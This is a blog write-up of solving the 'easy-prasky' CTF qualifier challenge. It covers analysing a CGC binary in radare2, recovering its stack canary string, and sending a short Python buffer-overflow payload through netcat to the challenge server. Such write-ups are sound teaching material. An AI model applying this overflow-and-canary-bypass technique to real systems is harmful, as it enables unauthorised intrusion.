Our team started by spreading out and tackling separate problems, eventually consolidating into subgroups.
One of the first challenges I started looking at was "easy-prasky". This was in the "Baby's First" section, the bite-size preview challenges that show what's coming ahead.
No description on this one, just a binary and a server to connect to. Pulling down the file we get a tar file that extracts to a binary:
$ tar -xzf easy-prasky.tar.bz2 $ ls -la -rw-r--r-- 1 user staff 1.7K May 19 09:47 easy-prasky.tar.bz2 drwxr-xr-x 3 user staff 102B May 22 21:07 easy-prasky-with-buffalo-on-bing $ cd easy-prasky-with-buffalo-on-bing $ ls -la -rwxr-xr-x 1 user staff 2.3K May 18 18:36 easy-prasky-with-buffalo-on-bing $ file easy-prasky-with-buffalo-on-bing easy-prasky-with-buffalo-on-bing: data
Interesting, just data. Running strings on this we get some more interesting information:
Merino fffff. ffff. fff. ^_[] SQRV ^ZY[ SQRV ^ZY[ SQRVW _^ZY[ lddwDrwhkTEBSya_ hacking detected, see ya canary ok clang-cgc version 3.4 (9085) .shstrtab .text .rodata .comment
This looks like some custom format, and clang-cgc seems pretty obvious. It's also worth noting there wasn't much data out of this, it's a somewhat small amount for a binary.
Loading this binary in radare2 we can see it's information:
[0x080486b7]> if type EXEC (Executable file) file easy-prasky-with-buffalo-on-bing fd 3 size 0x948 blksz 0x0 mode -r-- block 0x100 format cgc pic false canary false nx false crypto false va true bintype elf class ELF32 lang c arch x86 bits 32 machine Intel 80386 os linux minopsz 1 maxopsz 16 pcalign 0 subsys linux endian little stripped true static true linenum false lsyms false relocs false rpath NONE binsz 2173
Noticing the format as cgc (also seen from the strings output) it's safe to assume this is probably a CGC binary. This is acting as a preview for the other challenges in the "See Gee Sea" category to be unlocked later in the game.
format cgc
This was unfortunately, the first time I had looked at any of the CGC challenge details in any depth. (If you're new to the idea of Cyber Grand Challenge at all, check out - http://www.cybergrandchallenge.com/)
Remembering that the challenges run in a VM, I quickly searched for any available open-source material that may be out there. Quickly landed on this page - http://repo.cybergrandchallenge.com/boxes/
Which shows a listing of 3 major files:
cgc-linux-dev.box 1097696df99f2f6edd85974c3d8d96afb13444c1c3905d6165badf0e50d07ad1 vm.json d79a4d8e28975b24a518c2acb12195e048c0806ed7a08112f3d48eac0dac80e3 Vagrantfile ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00
This is Great! A Vagrant file to get up and running in no time!
After running vagrant up && vagrant ssh, we were into the cgc environment, loaded with useful binaries and example files to play with.
As the challenge went on, I grew an appreciation for the amount of work that went into this infrastructure. It's a great idea with some solid engineering work poured into it.
Now that we have things setup, let's try executing that binary in this environment to see what happens...
$ ./easy-prasky-with-buffalo-on-bing anything canary ok$
So we have a little print out that mentions the canary is ok... So it has a stack cookie setup.
What happens if we give it a ton of input:
$ ./easy-prasky-with-buffalo-on-bing AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
Well that was easy!
Also let's look at what happens when there's a moderate amount of input:
$ ./easy-prasky-with-buffalo-on-bing AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA hacking detected, see ya$
Nice, so we now have Three states of output we can produce.
At this point we decided to pull apart the binary in radare2 finding the canary value which needs to be restored.
First noticed that the entry point of each CGC binary has the same structure. Three functions, where the second was the meat of operations performed.
As usual in r2, run aaa and iz to view any obvious strings in the binary:
Seeking to 0x0804880a we hit X in visual mode to see X-Refs & 0 to seek to the first match.
This lead us to the "main" function which called another function for the canary check and exits with "hacking detected" or "canary ok"
We can see ecx being loaded with this odd string found, and edx being loaded with the immediate 4. Also notice that the result of this function determines the type of exit.
Going to 0x080482e0 we see:
With this we decided to just try the first four characters of that string acting as the canary.
We ended up with a payload that looked like this:
$ python -c "print 'lddw'*6 + 'AAAA'*6" | ./easy-prasky-with-buffalo-on-bing canary okSegmentation fault
So this gave us a nice mix of "canary ok" with "Segmentation fault" -- it worked!
Piping this to base64 (required by the remote server) and to netcat ended up dropping the flag!
$ python -c "print 'lddw'*6 + 'AAAA'*6" | base64 | nc easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 10001
We definitely over-thought this one at first, but it turned out to be very simple.
Big shout-out to @unixist who was my partner-in-crime for this challenge.
